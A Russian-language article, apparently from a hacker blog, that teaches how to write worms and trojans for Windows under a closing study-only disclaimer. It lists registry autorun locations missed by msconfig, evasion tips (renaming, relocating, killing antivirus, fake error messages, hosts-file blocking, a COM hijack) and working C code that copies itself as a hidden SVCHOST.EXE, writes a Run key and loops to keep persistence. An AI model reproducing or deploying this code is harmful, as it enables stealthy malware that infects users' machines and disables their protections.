Привет всем. В этой статье я поведаю вам приемы для программирования червей и троянов. Чтобы быть подкованным и без помощи антивирусы расправиться с любым вирусом, Вам стоит это прочесть.
Долго распинаться не буду, и перейду сразу к делу:
Для начала приведу список мест в реестре, где они могут поселиться на автозагрузку.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\ CurrentVersion\Winlogon\Userinit
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\RunOnce\Setup
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\ CurrentVersion\Windows\load
Некоторые из таких мест весьма интересны, потому что на них не обращает внимания msconfig и утилиты для реестра.
Так что вирусы смело записываются туда на автозагрузку.
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run
При написании вирусов используются различные приемы для сокрытия программ от глаз пользователя:
- Можно произвольно выбирать имена - прописывать себя с ними в автозагрузку и копировать в винду. Имена можно выбирать как из списка, так и случайно.
- Можно при каждой перезагрузке менять местоположение — перемещаясь по системным каталогам и меняя имя.
- Также можно хранить в коде своей программы такую же программу, но с другого компилятора. Чтоб Касперкси сразу все не припалил.
- При заражении диска или компьютера необходимо учитывать психологию пользователя. Отвлечь его приманить именем программы, иконкой. Вывести липовое системное сообщение.
- Работая с окнами можно закрывать авнтивирусы.
- При копировании в память нельзя выделять себе большой приоритет.
- Из системного реестра можно извлечь много полезной информации. (Ниже приведу интересные параметры реестра).
- Отредактировав файл hosts можно без труда запретить пользователю посещать какие-либо домены. Он даже ничего не заподозрит.
- Некоторые вирусы хранят в себе коды вирусов на различных языках программирования и в нужный момент извлекают и запускают их.
[HKCR\CLSID\ {E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32]
"Apartment" = "%SysDir%\ctfmon.dll"
Таким образом, данная DLL будет запускаться как дочерний процесс Explorer.exe и её не будет в менеджере процессов.
Привожу список параметров реестра разрытых вручную, для удобства вы можете покопаться в книжках по реестру и найти там для себя много нового.
Имена и типы протоколов по умолчанию.
Некоторые вирусы заменяют Стартовую страницу броузеров или поисковую систему по умолчанию.
[HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows\CurrentVersion\URL\DefaultPrefix]
@="https://"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\URL\Prefixes]
"ftp"="ftp://"
"gopher"="gopher://"
"home"="https://"
"mosaic"="https://"
"www"="https://"
HKEY_CURRENT_USER\Software\ Microsoft\ Internet Explorer\Main
Start Page
Search Page
Изменяют параметры рабочего стола.
HKEY_CURRENT_USER\Control Panel\Desktop
ConvertedWallpaper
scrnsave.exe
Wallpaper
OriginalWallpaper
Тут хранятся имена и названия системных пользовательских папок, типа: Мои документы, Мои рисунки, Рабочий стол. Их некоторые вирусы могут менять.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Explorer\Shell Folders
Common Administrative Tools
Common AppData
Common Desktop
Common Documents
Common Favorites
Common Programs
Common Start Menu
Common Startup
Common Templates
CommonMusic
CommonPictures
CommonVideo
Personal
Подменяют информацию о процессоре
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\ System\CentralProcessor\0
ProcessorNameString
~MHz
Здесь хранятся системные цвета (окон, текста, кнопок и, т, д)
HKEY_CURRENT_USER\Control Panel\Colors
ActiveBorder
ActiveTitle
AppWorkSpace
Background
ButtonAlternateFace
ButtonDkShadow
ButtonFace
ButtonHilight
ButtonLight
ButtonShadow
ButtonText
GradientActiveTitle
GradientInactiveTitle
GrayText
Hilight
HilightText
HotTrackingColor
InactiveBorder
InactiveTitle
InactiveTitleText
InfoText
InfoWindow
Menu
MenuBar
MenuHilight
MenuText
Scrollbar
TitleText
Window
WindowFrame
WindowText
Как они добавляют ключи в реестр. Эта WinAPI функция добавления параметров в системный реестр (Работает под любой Windows.)
//------
char windir[512];
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE , "Software\\ Microsoft\\Windows\\CurrentVersion\\ Run",0,KEY_WRITE,&hKey); //Открываем
RegSetValueEx(hKey,"FILE.EXE",0,REG_SZ,(BYTE *) windir,256); //Пишем
RegCloseKey(hKey); //Закрываем
//------
В менеджере процессов постоянно запущены файлы SVCHOST.EXE.
Так вот этот файл лежит в windows\system32\ и вирус сохраняет свое тело под её именем. Поймать такого черта, можно только увидев в менеджере процессов, кто запустил процесс. Все процессы SVCHOST запускаются от имени системы (SYSTEM). Если такой файл запущен от имени пользователя, стоит задуматься.
Вот обрывок того самого кода:
char myname[1024],windir[1024];
HKEY hKey;
SetErrorMode(SEM_NOGPFAULTERRORBOX); //Вырубаем сообщения об ошибках
PeekMessage(NULL, NULL, NULL, NULL, NULL);
GetModuleFileName(hInstance,myname,sizeof(myname)); //Получаем путь к себе и папку винды
GetWindowsDirectory(windir,sizeof(windir));
strcat(windir,"\\SVCHOST.EXE");
CopyFile(myname,windir,FALSE); //Копируемся
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
//--------------------Startup--------------------------------
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft \\Windows\\CurrentVersion\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0,REG_SZ,(BYTE *) windir,256); //Пишемся в реестр
RegCloseKey(hKey);
//-----------------------------------------------------------
if(strcmp(windir,myname)) //Проверяем если программа не в папке windows то выйти (Мы ведь уже скопировались ;)!
{
MessageBox(0,"Необходимый файл динамической библиотеки msbjk.dll не найден.","Error", MB_OK | MB_DEFBUTTON1 | MB_ICONEXCLAMATION | MB_DEFAULT_DESKTOP_ONLY);
return 0;
}
//-------
for(;;) //Это бесконечный цикл
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft \\Windows\\CurrentVersion\\Run" , 0,KEY_WRITE,&hKey);
RegSetValueEx(hKey, "SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
// Тут может быть любой код вашей программы
EnumProcessesOther();// Эта функция будет описана в следующ
ей статье (Она закрывт все антивирусы)
Sleep(30000); //Задержка на 30 секунд
}
В папке windows есть файл без расширения hosts. Если в него вписать код:
0.0.0.0 www.site.com
0.0.0.0 www.microsoft.com
То пользователь не сможет зайти ни на один из этих сайтов, каким бы браузером и через какие прокси он бы не старался. Так что иногда туда заглядывайте.
Сорри, но полностью все и изложить не смог, так как это уже будет не статья, а книжка ;)
Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.
Написать комментарий